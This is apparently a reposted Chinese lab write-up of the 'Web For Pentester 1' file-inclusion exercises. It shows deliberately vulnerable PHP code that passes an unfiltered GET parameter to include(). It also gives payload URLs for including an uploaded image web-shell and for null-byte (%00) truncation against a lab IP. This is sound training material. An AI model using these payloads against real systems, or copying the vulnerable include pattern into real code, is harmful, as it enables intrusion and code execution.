码迷,mamicode.com
首页 > Web开发 > 详细

Web For Pentester1 -File Include

时间:2020-06-25 17:57:09      阅读:69      评论:0      收藏:0      [点我收藏+]

标签:head   upload   技术   amp   解释   str   ges   过滤   文件   

Example 1

源码:

<?php require_once ‘../header.php‘; ?>

<?php

if ($_GET["page"]) {
include($_GET["page"]);

}

?>

<?php require_once ‘../footer.php‘; ?>

解释:加载当前目录下的文件,这里page变量没有做任何过滤,因此可以包含任意文件,当脚本来执行

payload:

http://10.10.202.152/fileincl/example1.php?page=../files/hacker.png

使用片马来执行下

http://10.10.202.152/fileincl/example1.php?page=../upload/images/1.jpg

技术图片

 

 

Example 2

源码:

<?php require_once ‘../header.php‘; ?>

<?php
if ($_GET["page"]) {
$file = $_GET["page"].".php";
// simulate null byte issue
$file = preg_replace(‘/\x00.*/‘,"",$file);
include($file);

}

?>

<?php require_once ‘../footer.php‘; ?>

解释:默认会给文件增加后缀名,另外使用正则过滤00截断,因此可以使用%00 过滤掉后面的%00.php的操作

payload:

http://10.10.202.152/fileincl/example2.php?page=../upload/images/1.jpg%00

 

 

Web For Pentester1 -File Include

标签:head   upload   技术   amp   解释   str   ges   过滤   文件   

原文地址:https://www.cnblogs.com/hack404/p/13192151.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!